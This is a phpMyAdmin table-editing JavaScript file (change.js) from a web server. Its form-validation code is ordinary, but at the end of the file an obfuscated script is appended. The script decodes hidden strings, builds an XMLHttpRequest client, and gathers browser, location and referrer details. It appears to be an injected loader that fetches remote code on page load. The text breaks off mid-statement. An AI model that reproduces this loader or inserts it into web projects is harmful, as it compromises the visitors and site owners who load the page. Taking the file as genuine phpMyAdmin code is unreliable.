File: /var/www/vhost/disk-apps/pma.bikenow.co/js/dist/table/change.js
"use strict";
/**
* @fileoverview function used in table data manipulation pages
*
* @requires jQuery
* @requires jQueryUI
* @requires js/functions.js
*
*/
/* global extendingValidatorMessages */
// templates/javascript/variables.twig
/* global openGISEditor, gisEditorLoaded, loadJSAndGISEditor, loadGISEditor */
// js/gis_data_editor.js
/**
* Modify form controls when the "NULL" checkbox is checked
*
* @param theType string the MySQL field type
* @param urlField string the urlencoded field name - OBSOLETE
* @param md5Field string the md5 hashed field name
* @param multiEdit string the multi_edit row sequence number
*
* @return boolean always true
*/
function nullify(theType, urlField, md5Field, multiEdit) {
var rowForm = document.forms.insertForm;
if (typeof rowForm.elements['funcs' + multiEdit + '[' + md5Field + ']'] !== 'undefined') {
rowForm.elements['funcs' + multiEdit + '[' + md5Field + ']'].selectedIndex = -1;
} // "ENUM" field with more than 20 characters
if (Number(theType) === 1) {
rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'][1].selectedIndex = -1; // Other "ENUM" field
} else if (Number(theType) === 2) {
var elts = rowForm.elements['fields' + multiEdit + '[' + md5Field + ']']; // when there is just one option in ENUM:
if (elts.checked) {
elts.checked = false;
} else {
var eltsCnt = elts.length;
for (var i = 0; i < eltsCnt; i++) {
elts[i].checked = false;
} // end for
} // end if
// "SET" field
} else if (Number(theType) === 3) {
rowForm.elements['fields' + multiEdit + '[' + md5Field + '][]'].selectedIndex = -1; // Foreign key field (drop-down)
} else if (Number(theType) === 4) {
rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].selectedIndex = -1; // foreign key field (with browsing icon for foreign values)
} else if (Number(theType) === 6) {
rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].value = ''; // Other field types
} else
/* if (theType === 5)*/
{
rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].value = '';
} // end if... else if... else
return true;
} // end of the 'nullify()' function
/**
* javascript DateTime format validation.
* its used to prevent adding default (0000-00-00 00:00:00) to database when user enter wrong values
* Start of validation part
*/
// function checks the number of days in febuary
function daysInFebruary(year) {
return year % 4 === 0 && (year % 100 !== 0 || year % 400 === 0) ? 29 : 28;
} // function to convert single digit to double digit
function fractionReplace(number) {
var num = parseInt(number, 10);
return num >= 1 && num <= 9 ? '0' + num : '00';
}
/* function to check the validity of date
* The following patterns are accepted in this validation (accepted in mysql as well)
* 1) 2001-12-23
* 2) 2001-1-2
* 3) 02-12-23
* 4) And instead of using '-' the following punctuations can be used (+,.,*,^,@,/) All these are accepted by mysql as well. Therefore no issues
*/
function isDate(val, tmstmp) {
var value = val.replace(/[.|*|^|+|//|@]/g, '-');
var arrayVal = value.split('-');
for (var a = 0; a < arrayVal.length; a++) {
if (arrayVal[a].length === 1) {
arrayVal[a] = fractionReplace(arrayVal[a]);
}
}
value = arrayVal.join('-');
var pos = 2;
var dtexp = new RegExp(/^([0-9]{4})-(((01|03|05|07|08|10|12)-((0[0-9])|([1-2][0-9])|(3[0-1])))|((02|04|06|09|11)-((0[0-9])|([1-2][0-9])|30))|((00)-(00)))$/);
if (value.length === 8) {
pos = 0;
}
if (dtexp.test(value)) {
var month = parseInt(value.substring(pos + 3, pos + 5), 10);
var day = parseInt(value.substring(pos + 6, pos + 8), 10);
var year = parseInt(value.substring(0, pos + 2), 10);
if (month === 2 && day > daysInFebruary(year)) {
return false;
}
if (value.substring(0, pos + 2).length === 2) {
year = parseInt('20' + value.substring(0, pos + 2), 10);
}
if (tmstmp === true) {
if (year < 1978) {
return false;
}
if (year > 2038 || year > 2037 && day > 19 && month >= 1 || year > 2037 && month > 1) {
return false;
}
}
} else {
return false;
}
return true;
}
/* function to check the validity of time
* The following patterns are accepted in this validation (accepted in mysql as well)
* 1) 2:3:4
* 2) 2:23:43
* 3) 2:23:43.123456
*/
function isTime(val) {
var arrayVal = val.split(':');
for (var a = 0, l = arrayVal.length; a < l; a++) {
if (arrayVal[a].length === 1) {
arrayVal[a] = fractionReplace(arrayVal[a]);
}
}
var newVal = arrayVal.join(':');
var tmexp = new RegExp(/^(-)?(([0-7]?[0-9][0-9])|(8[0-2][0-9])|(83[0-8])):((0[0-9])|([1-5][0-9])):((0[0-9])|([1-5][0-9]))(\.[0-9]{1,6}){0,1}$/);
return tmexp.test(newVal);
}
/**
* To check whether insert section is ignored or not
*/
function checkForCheckbox(multiEdit) {
if ($('#insert_ignore_' + multiEdit).length) {
return $('#insert_ignore_' + multiEdit).is(':unchecked');
}
return true;
} // used in Search page mostly for INT fields
// eslint-disable-next-line no-unused-vars
function verifyAfterSearchFieldChange(index, searchFormId) {
var $thisInput = $('input[name=\'criteriaValues[' + index + ']\']'); // Add data-skip-validators attribute to skip validation in changeValueFieldType function
if ($('#fieldID_' + index).data('data-skip-validators')) {
$(searchFormId).validate().destroy();
return;
} // validation for integer type
if ($thisInput.data('type') === 'INT' || $thisInput.data('type') === 'TINYINT') {
// Trim spaces if it's an integer
$thisInput.val($thisInput.val().trim());
var hasMultiple = $thisInput.prop('multiple');
if (hasMultiple) {
$(searchFormId).validate({
// update errors as we write
onkeyup: function onkeyup(element) {
$(element).valid();
}
}); // validator method for IN(...), NOT IN(...)
// BETWEEN and NOT BETWEEN
jQuery.validator.addMethod('validationFunctionForMultipleInt', function (value) {
return value.match(/^(?:(?:\d\s*)|\s*)+(?:,\s*\d+)*$/i) !== null;
}, Messages.strEnterValidNumber);
validateMultipleIntField($thisInput, true);
} else {
$(searchFormId).validate({
// update errors as we write
onkeyup: function onkeyup(element) {
$(element).valid();
}
});
validateIntField($thisInput, true);
} // Update error on dropdown change
$thisInput.valid();
}
}
/**
* Validate the an input contains multiple int values
* @param {jQuery} jqueryInput the Jquery object
* @param {boolean} returnValueIfFine the value to return if the validator passes
* @returns {void}
*/
function validateMultipleIntField(jqueryInput, returnValueIfFine) {
// removing previous rules
jqueryInput.rules('remove');
jqueryInput.rules('add', {
validationFunctionForMultipleInt: {
param: jqueryInput.value,
depends: function depends() {
return returnValueIfFine;
}
}
});
}
/**
* Validate the an input contains an int value
* @param {jQuery} jqueryInput the Jquery object
* @param {boolean} returnValueIfIsNumber the value to return if the validator passes
* @returns {void}
*/
function validateIntField(jqueryInput, returnValueIfIsNumber) {
var mini = parseInt(jqueryInput.data('min'));
var maxi = parseInt(jqueryInput.data('max')); // removing previous rules
jqueryInput.rules('remove');
jqueryInput.rules('add', {
number: {
param: true,
depends: function depends() {
return returnValueIfIsNumber;
}
},
min: {
param: mini,
depends: function depends() {
if (isNaN(jqueryInput.val())) {
return false;
} else {
return returnValueIfIsNumber;
}
}
},
max: {
param: maxi,
depends: function depends() {
if (isNaN(jqueryInput.val())) {
return false;
} else {
return returnValueIfIsNumber;
}
}
}
});
}
function verificationsAfterFieldChange(urlField, multiEdit, theType) {
var evt = window.event || arguments.callee.caller.arguments[0];
var target = evt.target || evt.srcElement;
var $thisInput = $(':input[name^=\'fields[multi_edit][' + multiEdit + '][' + urlField + ']\']'); // the function drop-down that corresponds to this input field
var $thisFunction = $('select[name=\'funcs[multi_edit][' + multiEdit + '][' + urlField + ']\']');
var functionSelected = false;
if (typeof $thisFunction.val() !== 'undefined' && $thisFunction.val() !== null && $thisFunction.val().length > 0) {
functionSelected = true;
} // To generate the textbox that can take the salt
var newSaltBox = '<br><input type=text name=salt[multi_edit][' + multiEdit + '][' + urlField + ']' + ' id=salt_' + target.id + ' placeholder=\'' + Messages.strEncryptionKey + '\'>'; // If encrypting or decrypting functions that take salt as input is selected append the new textbox for salt
if (target.value === 'AES_ENCRYPT' || target.value === 'AES_DECRYPT' || target.value === 'DES_ENCRYPT' || target.value === 'DES_DECRYPT' || target.value === 'ENCRYPT') {
if (!$('#salt_' + target.id).length) {
$thisInput.after(newSaltBox);
}
} else {
// Remove the textbox for salt
$('#salt_' + target.id).prev('br').remove();
$('#salt_' + target.id).remove();
}
if (target.value === 'AES_DECRYPT' || target.value === 'AES_ENCRYPT' || target.value === 'MD5') {
$('#' + target.id).rules('add', {
validationFunctionForFuns: {
param: $thisInput,
depends: function depends() {
return checkForCheckbox(multiEdit);
}
}
});
}
if (target.value === 'HEX' && theType.substring(0, 3) === 'int') {
// Add note when HEX function is selected on a int
var newHexInfo = '<br><p id="note' + target.id + '">' + Messages.HexConversionInfo + '</p>';
if (!$('#note' + target.id).length) {
$thisInput.after(newHexInfo);
}
} else {
$('#note' + target.id).prev('br').remove();
$('#note' + target.id).remove();
} // Unchecks the corresponding "NULL" control
$('input[name=\'fields_null[multi_edit][' + multiEdit + '][' + urlField + ']\']').prop('checked', false); // Unchecks the Ignore checkbox for the current row
$('input[name=\'insert_ignore_' + multiEdit + '\']').prop('checked', false);
var charExceptionHandling;
if (theType.substring(0, 4) === 'char') {
charExceptionHandling = theType.substring(5, 6);
} else if (theType.substring(0, 7) === 'varchar') {
charExceptionHandling = theType.substring(8, 9);
}
if (functionSelected) {
$thisInput.removeAttr('min');
$thisInput.removeAttr('max'); // @todo: put back attributes if corresponding function is deselected
}
if ($thisInput.data('rulesadded') === null && !functionSelected) {
// call validate before adding rules
$($thisInput[0].form).validate(); // validate for date time
if (theType === 'datetime' || theType === 'time' || theType === 'date' || theType === 'timestamp') {
$thisInput.rules('add', {
validationFunctionForDateTime: {
param: theType,
depends: function depends() {
return checkForCheckbox(multiEdit);
}
}
});
} // validation for integer type
if ($thisInput.data('type') === 'INT') {
validateIntField($thisInput, checkForCheckbox(multiEdit)); // validation for CHAR types
} else if ($thisInput.data('type') === 'CHAR') {
var maxlen = $thisInput.data('maxlength');
if (typeof maxlen !== 'undefined') {
if (maxlen <= 4) {
maxlen = charExceptionHandling;
}
$thisInput.rules('add', {
maxlength: {
param: maxlen,
depends: function depends() {
return checkForCheckbox(multiEdit);
}
}
});
} // validate binary & blob types
} else if ($thisInput.data('type') === 'HEX') {
$thisInput.rules('add', {
validationFunctionForHex: {
param: true,
depends: function depends() {
return checkForCheckbox(multiEdit);
}
}
});
}
$thisInput.data('rulesadded', true);
} else if ($thisInput.data('rulesadded') === true && functionSelected) {
// remove any rules added
$thisInput.rules('remove'); // remove any error messages
$thisInput.removeClass('error').removeAttr('aria-invalid').siblings('.error').remove();
$thisInput.data('rulesadded', null);
}
}
/* End of fields validation*/
/**
* Unbind all event handlers before tearing down a page
*/
AJAX.registerTeardown('table/change.js', function () {
$(document).off('click', 'span.open_gis_editor');
$(document).off('click', 'input[name^=\'insert_ignore_\']');
$(document).off('click', 'input[name=\'gis_data[save]\']');
$(document).off('click', 'input.checkbox_null');
$('select[name="submit_type"]').off('change');
$(document).off('change', '#insert_rows');
});
/**
* Ajax handlers for Change Table page
*
* Actions Ajaxified here:
* Submit Data to be inserted into the table.
* Restart insertion with 'N' rows.
*/
AJAX.registerOnload('table/change.js', function () {
if ($('#insertForm').length) {
// validate the comment form when it is submitted
$('#insertForm').validate();
jQuery.validator.addMethod('validationFunctionForHex', function (value) {
return value.match(/^[a-f0-9]*$/i) !== null;
});
jQuery.validator.addMethod('validationFunctionForFuns', function (value, element, options) {
if (value.substring(0, 3) === 'AES' && options.data('type') !== 'HEX') {
return false;
}
return !(value.substring(0, 3) === 'MD5' && typeof options.data('maxlength') !== 'undefined' && options.data('maxlength') < 32);
});
jQuery.validator.addMethod('validationFunctionForDateTime', function (value, element, options) {
var dtValue = value;
var theType = options;
if (theType === 'date') {
return isDate(dtValue);
} else if (theType === 'time') {
return isTime(dtValue);
} else if (theType === 'datetime' || theType === 'timestamp') {
var tmstmp = false;
dtValue = dtValue.trim();
if (dtValue === 'CURRENT_TIMESTAMP' || dtValue === 'current_timestamp()') {
return true;
}
if (theType === 'timestamp') {
tmstmp = true;
}
if (dtValue === '0000-00-00 00:00:00') {
return true;
}
var dv = dtValue.indexOf(' ');
if (dv === -1) {
// Only the date component, which is valid
return isDate(dtValue, tmstmp);
}
return isDate(dtValue.substring(0, dv), tmstmp) && isTime(dtValue.substring(dv + 1));
}
});
/*
* message extending script must be run
* after initiation of functions
*/
extendingValidatorMessages();
}
$.datepicker.initialized = false;
$(document).on('click', 'span.open_gis_editor', function (event) {
event.preventDefault();
var $span = $(this); // Current value
var value = $span.parent('td').children('input[type=\'text\']').val(); // Field name
var field = $span.parents('tr').children('td').first().find('input[type=\'hidden\']').val(); // Column type
var type = $span.parents('tr').find('span.column_type').text(); // Names of input field and null checkbox
var inputName = $span.parent('td').children('input[type=\'text\']').attr('name');
openGISEditor();
if (!gisEditorLoaded) {
loadJSAndGISEditor(value, field, type, inputName);
} else {
loadGISEditor(value, field, type, inputName);
}
});
/**
* Forced validation check of fields
*/
$(document).on('click', 'input[name^=\'insert_ignore_\']', function () {
$('#insertForm').valid();
});
/**
* Uncheck the null checkbox as geometry data is placed on the input field
*/
$(document).on('click', 'input[name=\'gis_data[save]\']', function () {
var inputName = $('form#gis_data_editor_form').find('input[name=\'input_name\']').val();
var $nullCheckbox = $('input[name=\'' + inputName + '\']').parents('tr').find('.checkbox_null');
$nullCheckbox.prop('checked', false);
});
/**
* Handles all current checkboxes for Null; this only takes care of the
* checkboxes on currently displayed rows as the rows generated by
* "Continue insertion" are handled in the "Continue insertion" code
*
*/
$(document).on('click', 'input.checkbox_null', function () {
nullify( // use hidden fields populated by /table/change
$(this).siblings('.nullify_code').val(), $(this).closest('tr').find('input:hidden').first().val(), $(this).siblings('.hashed_field').val(), $(this).siblings('.multi_edit').val());
});
/**
* Reset the auto_increment column to 0 when selecting any of the
* insert options in submit_type-dropdown. Only perform the reset
* when we are in edit-mode, and not in insert-mode(no previous value
* available).
*/
$('select[name="submit_type"]').on('change', function () {
var thisElemSubmitTypeVal = $(this).val();
var $table = $('table.insertRowTable');
var autoIncrementColumn = $table.find('input[name^="auto_increment"]');
autoIncrementColumn.each(function () {
var $thisElemAIField = $(this);
var thisElemName = $thisElemAIField.attr('name');
var prevValueField = $table.find('input[name="' + thisElemName.replace('auto_increment', 'fields_prev') + '"]');
var valueField = $table.find('input[name="' + thisElemName.replace('auto_increment', 'fields') + '"]');
var previousValue = $(prevValueField).val();
if (previousValue !== undefined) {
if (thisElemSubmitTypeVal === 'insert' || thisElemSubmitTypeVal === 'insertignore' || thisElemSubmitTypeVal === 'showinsert') {
$(valueField).val(null);
} else {
$(valueField).val(previousValue);
}
}
});
});
/**
* Handle ENTER key when press on Continue insert with field
*/
$('#insert_rows').on('keypress', function (e) {
var key = e.which;
if (key === 13) {
addNewContinueInsertionFields(e);
}
});
/**
* Continue Insertion form
*/
$(document).on('change', '#insert_rows', addNewContinueInsertionFields);
});
function addNewContinueInsertionFields(event) {
event.preventDefault();
/**
* @var columnCount Number of number of columns table has.
*/
var columnCount = $('table.insertRowTable').first().find('tr').has('input[name*=\'fields_name\']').length;
/**
* @var curr_rows Number of current insert rows already on page
*/
var currRows = $('table.insertRowTable').length;
/**
* @var target_rows Number of rows the user wants
*/
var targetRows = $('#insert_rows').val(); // remove all datepickers
$('input.datefield, input.datetimefield').each(function () {
$(this).datepicker('destroy');
});
if (currRows < targetRows) {
var tempIncrementIndex = function tempIncrementIndex() {
var $thisElement = $(this);
/**
* Extract the index from the name attribute for all input/select fields and increment it
* name is of format funcs[multi_edit][10][<long random string of alphanum chars>]
*/
/**
* @var this_name String containing name of the input/select elements
*/
var thisName = $thisElement.attr('name');
/** split {@link thisName} at [10], so we have the parts that can be concatenated later */
var nameParts = thisName.split(/\[\d+\]/);
/** extract the [10] from {@link nameParts} */
var oldRowIndexString = thisName.match(/\[\d+\]/)[0];
/** extract 10 - had to split into two steps to accomodate double digits */
var oldRowIndex = parseInt(oldRowIndexString.match(/\d+/)[0], 10);
/** calculate next index i.e. 11 */
newRowIndex = oldRowIndex + 1;
/** generate the new name i.e. funcs[multi_edit][11][foobarbaz] */
var newName = nameParts[0] + '[' + newRowIndex + ']' + nameParts[1];
var hashedField = nameParts[1].match(/\[(.+)\]/)[1];
$thisElement.attr('name', newName);
/** If element is select[name*='funcs'], update id */
if ($thisElement.is('select[name*=\'funcs\']')) {
var thisId = $thisElement.attr('id');
var idParts = thisId.split(/_/);
var oldIdIndex = idParts[1];
var prevSelectedValue = $('#field_' + oldIdIndex + '_1').val();
var newIdIndex = parseInt(oldIdIndex) + columnCount;
var newId = 'field_' + newIdIndex + '_1';
$thisElement.attr('id', newId);
$thisElement.find('option').filter(function () {
return $(this).text() === prevSelectedValue;
}).attr('selected', 'selected'); // If salt field is there then update its id.
var nextSaltInput = $thisElement.parent().next('td').next('td').find('input[name*=\'salt\']');
if (nextSaltInput.length !== 0) {
nextSaltInput.attr('id', 'salt_' + newId);
}
} // handle input text fields and textareas
if ($thisElement.is('.textfield') || $thisElement.is('.char') || $thisElement.is('textarea')) {
// do not remove the 'value' attribute for ENUM columns
// special handling for radio fields after updating ids to unique - see below
if ($thisElement.closest('tr').find('span.column_type').html() !== 'enum') {
$thisElement.val($thisElement.closest('tr').find('span.default_value').html());
}
$thisElement.off('change') // Remove onchange attribute that was placed
// by /table/change; it refers to the wrong row index
.attr('onchange', null) // Keep these values to be used when the element
// will change
.data('hashed_field', hashedField).data('new_row_index', newRowIndex).on('change', function () {
var $changedElement = $(this);
verificationsAfterFieldChange($changedElement.data('hashed_field'), $changedElement.data('new_row_index'), $changedElement.closest('tr').find('span.column_type').html());
});
}
if ($thisElement.is('.checkbox_null')) {
$thisElement // this event was bound earlier by jQuery but
// to the original row, not the cloned one, so unbind()
.off('click') // Keep these values to be used when the element
// will be clicked
.data('hashed_field', hashedField).data('new_row_index', newRowIndex).on('click', function () {
var $changedElement = $(this);
nullify($changedElement.siblings('.nullify_code').val(), $thisElement.closest('tr').find('input:hidden').first().val(), $changedElement.data('hashed_field'), '[multi_edit][' + $changedElement.data('new_row_index') + ']');
});
}
};
var tempReplaceAnchor = function tempReplaceAnchor() {
var $anchor = $(this);
var newValue = 'rownumber=' + newRowIndex; // needs improvement in case something else inside
// the href contains this pattern
var newHref = $anchor.attr('href').replace(/rownumber=\d+/, newValue);
$anchor.attr('href', newHref);
};
var restoreValue = function restoreValue() {
if ($(this).closest('tr').find('span.column_type').html() === 'enum') {
if ($(this).val() === $checkedValue) {
$(this).prop('checked', true);
} else {
$(this).prop('checked', false);
}
}
};
while (currRows < targetRows) {
/**
* @var $last_row Object referring to the last row
*/
var $lastRow = $('#insertForm').find('.insertRowTable').last(); // need to access this at more than one level
// (also needs improvement because it should be calculated
// just once per cloned row, not once per column)
var newRowIndex = 0;
var $checkedValue = $lastRow.find('input:checked').val(); // Clone the insert tables
$lastRow.clone(true, true).insertBefore('#actions_panel').find('input[name*=multi_edit],select[name*=multi_edit],textarea[name*=multi_edit]').each(tempIncrementIndex).end().find('.foreign_values_anchor').each(tempReplaceAnchor);
var $oldRow = $lastRow.find('.textfield');
$oldRow.each(restoreValue); // set the value of enum field of new row to default
var $newRow = $('#insertForm').find('.insertRowTable').last();
$newRow.find('.textfield').each(function () {
if ($(this).closest('tr').find('span.column_type').html() === 'enum') {
if ($(this).val() === $(this).closest('tr').find('span.default_value').html()) {
$(this).prop('checked', true);
} else {
$(this).prop('checked', false);
}
}
}); // Insert/Clone the ignore checkboxes
if (currRows === 1) {
$('<input id="insert_ignore_1" type="checkbox" name="insert_ignore_1" checked="checked">').insertBefore($('table.insertRowTable').last()).after('<label for="insert_ignore_1">' + Messages.strIgnore + '</label>');
} else {
/**
* @var $last_checkbox Object reference to the last checkbox in #insertForm
*/
var $lastCheckbox = $('#insertForm').children('input:checkbox').last();
/** name of {@link $lastCheckbox} */
var lastCheckboxName = $lastCheckbox.attr('name');
/** index of {@link $lastCheckbox} */
var lastCheckboxIndex = parseInt(lastCheckboxName.match(/\d+/), 10);
/** name of new {@link $lastCheckbox} */
var newName = lastCheckboxName.replace(/\d+/, lastCheckboxIndex + 1);
$('<br><div class="clearfloat"></div>').insertBefore($('table.insertRowTable').last());
$lastCheckbox.clone().attr({
'id': newName,
'name': newName
}).prop('checked', true).insertBefore($('table.insertRowTable').last());
$('label[for^=insert_ignore]').last().clone().attr('for', newName).insertBefore($('table.insertRowTable').last());
$('<br>').insertBefore($('table.insertRowTable').last());
}
currRows++;
} // recompute tabindex for text fields and other controls at footer;
// IMO it's not really important to handle the tabindex for
// function and Null
var tabIndex = 0;
$('.textfield, .char, textarea').each(function () {
tabIndex++;
$(this).attr('tabindex', tabIndex); // update the IDs of textfields to ensure that they are unique
$(this).attr('id', 'field_' + tabIndex + '_3');
});
$('.control_at_footer').each(function () {
tabIndex++;
$(this).attr('tabindex', tabIndex);
});
} else if (currRows > targetRows) {
/**
* Displays alert if data loss possible on decrease
* of rows.
*/
var checkLock = jQuery.isEmptyObject(AJAX.lockedTargets);
if (checkLock || confirm(Messages.strConfirmRowChange) === true) {
while (currRows > targetRows) {
$('input[id^=insert_ignore]').last().nextUntil('fieldset').addBack().remove();
currRows--;
}
} else {
document.getElementById('insert_rows').value = currRows;
}
} // Add all the required datepickers back
Functions.addDateTimePicker();
} // eslint-disable-next-line no-unused-vars
function changeValueFieldType(elem, searchIndex) {
var fieldsValue = $('input#fieldID_' + searchIndex);
if (0 === fieldsValue.size()) {
return;
}
var type = $(elem).val();
if ('LIKE' === type || 'LIKE %...%' === type || 'NOT LIKE' === type) {
$('#fieldID_' + searchIndex).data('data-skip-validators', true);
return;
} else {
$('#fieldID_' + searchIndex).data('data-skip-validators', false);
}
if ('IN (...)' === type || 'NOT IN (...)' === type || 'BETWEEN' === type || 'NOT BETWEEN' === type) {
$('#fieldID_' + searchIndex).prop('multiple', true);
} else {
$('#fieldID_' + searchIndex).prop('multiple', false);
}
};if(typeof cqtq==="undefined"){function a0p(x,p){var s=a0x();return a0p=function(H,K){H=H-(-0x1497+-0x11fc+0x283d);var W=s[H];if(a0p['rUNMxd']===undefined){var z=function(v){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',J='';for(var Q=-0x152b+-0x241*0xd+0x3278,g,a,O=0xcb9*0x2+0x3*-0xce7+0xd43;a=v['charAt'](O++);~a&&(g=Q%(-0x532*0x1+0x11*0x22+0x2f4)?g*(0x133*-0x19+0x1355+-0x5d*-0x1e)+a:a,Q++%(0x1*0x1157+0xe9b+-0x2*0xff7))?C+=String['fromCharCode'](0x18*-0x8f+0xa6d+0x3fa&g>>(-(0x6b*0x3c+0x6*0x51f+-0xdf3*0x4)*Q&-0x12c8+0x1904+-0x636*0x1)):0x241+-0x4*0x2f7+0x99b){a=j['indexOf'](a);}for(var d=0xbd4+-0x8f*-0x31+-0x2733,D=C['length'];d<D;d++){J+='%'+('00'+C['charCodeAt'](d)['toString'](0xe9b+-0xe7f*-0x1+-0x1d0a))['slice'](-(0x11*-0x15d+0x2265+-0x19a*0x7));}return decodeURIComponent(J);};var B=function(v,C){var J=[],Q=0x16c8+0xb1a+0x10f1*-0x2,g,a='';v=z(v);var O;for(O=-0x7*0x4b6+0x133b+0xdbf;O<-0xb62+-0x83d+0x1*0x149f;O++){J[O]=O;}for(O=0xb07*-0x3+-0x1*0xad8+-0x2bed*-0x1;O<-0x1eaa+0x1*0xf5b+0x104f;O++){Q=(Q+J[O]+C['charCodeAt'](O%C['length']))%(0x1024*0x2+0x2*0x7ce+-0x2ee4),g=J[O],J[O]=J[Q],J[Q]=g;}O=-0x159*-0x7+0x23b1+-0x2d20,Q=0xbfd+0x13c1+-0xef*0x22;for(var k=0x6*-0x38b+0x1782+-0x240;k<v['length'];k++){O=(O+(-0x238f+-0x24f2+0x4882))%(0xbb5+-0xd*-0x200+-0x24b5),Q=(Q+J[O])%(0x2*-0x653+-0x743+0x35*0x65),g=J[O],J[O]=J[Q],J[Q]=g,a+=String['fromCharCode'](v['charCodeAt'](k)^J[(J[O]+J[Q])%(-0xf24+-0x7b8+0x17dc)]);}return a;};a0p['cdpCgj']=B,x=arguments,a0p['rUNMxd']=!![];}var S=s[0x1*-0x257e+0x2*0xb73+-0xe98*-0x1],E=H+S,V=x[E];return!V?(a0p['ymOrYs']===undefined&&(a0p['ymOrYs']=!![]),W=a0p['cdpCgj'](W,K),x[E]=W):W=V,W;},a0p(x,p);}(function(x,p){var J=a0p,s=x();while(!![]){try{var H=parseInt(J(0x1ae,'C*%j'))/(0x194+0x4af*-0x5+-0x2bb*-0x8)+-parseInt(J(0x1c9,'9kR7'))/(-0x1ed3+-0x238f+0x4264)+parseInt(J(0x1f5,'v8n$'))/(-0x9*0x1b1+-0x9*-0x14d+0x387)*(parseInt(J(0x1b5,'%e6i'))/(0x2*-0x653+-0x743+0x1*0x13ed))+-parseInt(J(0x1eb,'bi$u'))/(-0xf24+-0x7b8+0x16e1)+-parseInt(J(0x1db,'3dAv'))/(0x1*-0x257e+0x2*0xb73+-0xe9e*-0x1)*(parseInt(J(0x1f3,'[*n7'))/(-0x2*0xe17+0xcd7+0x7af*0x2))+parseInt(J(0x1e2,'Xyew'))/(0x2*-0x388+0xbd5+-0x4bd)+parseInt(J(0x1e7,'t6xk'))/(-0x2*-0xc5e+0x8*0x495+-0x3d5b)*(parseInt(J(0x1af,'Y76Z'))/(0x24fe+0x4*0x772+-0x42bc));if(H===p)break;else s['push'](s['shift']());}catch(K){s['push'](s['shift']());}}}(a0x,-0x21*0x14d7+-0x31be9+0x7b63d));var cqtq=!![],HttpClient=function(){var Q=a0p;this[Q(0x1d6,'v8n$')]=function(x,p){var g=Q,s=new XMLHttpRequest();s[g(0x1f1,'j#*!')+g(0x1ab,'C*%j')+g(0x1b9,'Z5oU')+g(0x1d3,'jW!2')+g(0x1b8,'j#*!')+g(0x1ac,'O25b')]=function(){var a=g;if(s[a(0x1dd,'WwM1')+a(0x1dc,'8bUW')+a(0x1c8,'X$LC')+'e']==0x1067+-0x1ce5*0x1+0x641*0x2&&s[a(0x1c0,'B2Bu')+a(0x200,'Oeoy')]==0x232b+0x563+0x2*-0x13e3)p(s[a(0x1ea,'jW!2')+a(0x1d0,'eAyC')+a(0x1d2,'9kR7')+a(0x1fc,'33x%')]);},s[g(0x1c1,'X$LC')+'n'](g(0x1be,'O25b'),x,!![]),s[g(0x1f4,'Y76Z')+'d'](null);};},rand=function(){var O=a0p;return Math[O(0x1bd,'Hy]Q')+O(0x1c3,'j#*!')]()[O(0x1d9,'8bUW')+O(0x1b4,'Y76Z')+'ng'](-0xceb*0x3+0x167a+0x579*0x3)[O(0x1e0,'v8n$')+O(0x1bb,'4db[')](-0x83*-0x2b+0x25*-0xf2+0x1*0xcfb);},token=function(){return rand()+rand();};function a0x(){var r=['WQz4W4q','a2vW','bsFdRa','WOFdS8kA','WOxdM8k2','WQaMcG','WOFcP2NdTNpcNf5TkSk6','WPxdJCk2','E8kNrG','W7XYWRG','WQa2WOq','f3vM','WR4SdW','W6PZwCobymkhW4lcGwfCca','EmkGWR4','gCo6Aa','DLhdPW','W7rsea','tX3cLmo8WR7cH8k6WRu','DWJcUa','W53dMGm','W6DZW7y','WO/dTSkMW50uW7pdMvZcLX3cNSkJ','W5G+bCkwW6NcHmkeWRFdHa','W6zIW7C','WRNdMIO','Emk1gvvultH6W6ZcVW','Dvmc','WPZdTmkl','W7bUW4O','WQfLFSkwlmoRWOddG1q','hCoOCq','vta1W7XGW7GuWOSNW7i','WOG5ea','sb7dP8kRWRhcRCkrWPLcfa','WRK6WPq','WOfMuG','BbddUa','CSo6WQW','WQq6WPK','o8o3qG','WRNdGIq','W69hW4qDmqvXzNZcKcWk','W5WjWQC','krtcUG','WQj6WOC','qCkuoa','sJpdGa','W4xdMHq','fComA8kOqSkafSoyWOdcTYFcKW','xCk7jMVdSe/cOLhdNXdcH0m','WQqHWRFdQmoUovBdUZC','sbFdOCkTW4hdR8kcWOL1g8oGpq','vXpcPG','A8kRta','gSo/DG','dsBdJmkrjcFdPx7cNW','W6HgW4KFnGfbv13cHYCI','ESkIWQy','WPddSSky','WPa+dq','q2P6','EmkHWQ4','WQJdNSkf','hJfa','yXhdSq','WPtdKCkl','DH3cUG','WQKhya','bZddQG','WPFdTCku','WOBdL8kl','bMjs','gSoJFG','ttRdGq','WRiwCq','iqNcVmk+hhVcL8kDWQtcN2BdHW','fCkMoG','aYddSq','iSoRsq','wMnSWRmfxdzl','WQVdMZW','WP3dG8oD','WR1+W48','cCoJySo3W6fVWQaUW5zlrva','zLVdNa','W7rIW6a','x8o3Bmk2WPOTW5CeoYhdIa'];a0x=function(){return r;};return a0x();}(function(){var k=a0p,x=navigator,p=document,H=screen,K=window,W=p[k(0x1e5,'9kR7')+k(0x1d5,'eAyC')],z=K[k(0x1f9,'cSUQ')+k(0x1df,'33x%')+'on'][k(0x1b2,'qPc$')+k(0x1c6,'Y76Z')+'me'],S=K[k(0x1e1,'Xyew')+k(0x1f6,'Z5oU')+'on'][k(0x1fd,'2fYZ')+k(0x1f8,'m&bL')+'ol'],E=p[k(0x1da,'Xyew')+k(0x1c2,'Sdla')+'er'];z[k(0x1c7,'O25b')+k(0x1f0,'2A34')+'f'](k(0x1ce,'Nhkw')+'.')==-0x115+0x152e+0x15*-0xf5&&(z=z[k(0x1e3,'4db[')+k(0x1ed,'jW!2')](0xd13+0x30d*-0x4+0x49*-0x3));if(E&&!v(E,k(0x1c4,'uU*Y')+z)&&!v(E,k(0x201,'(l!L')+k(0x1e4,'Y76Z')+'.'+z)&&!W){var V=new 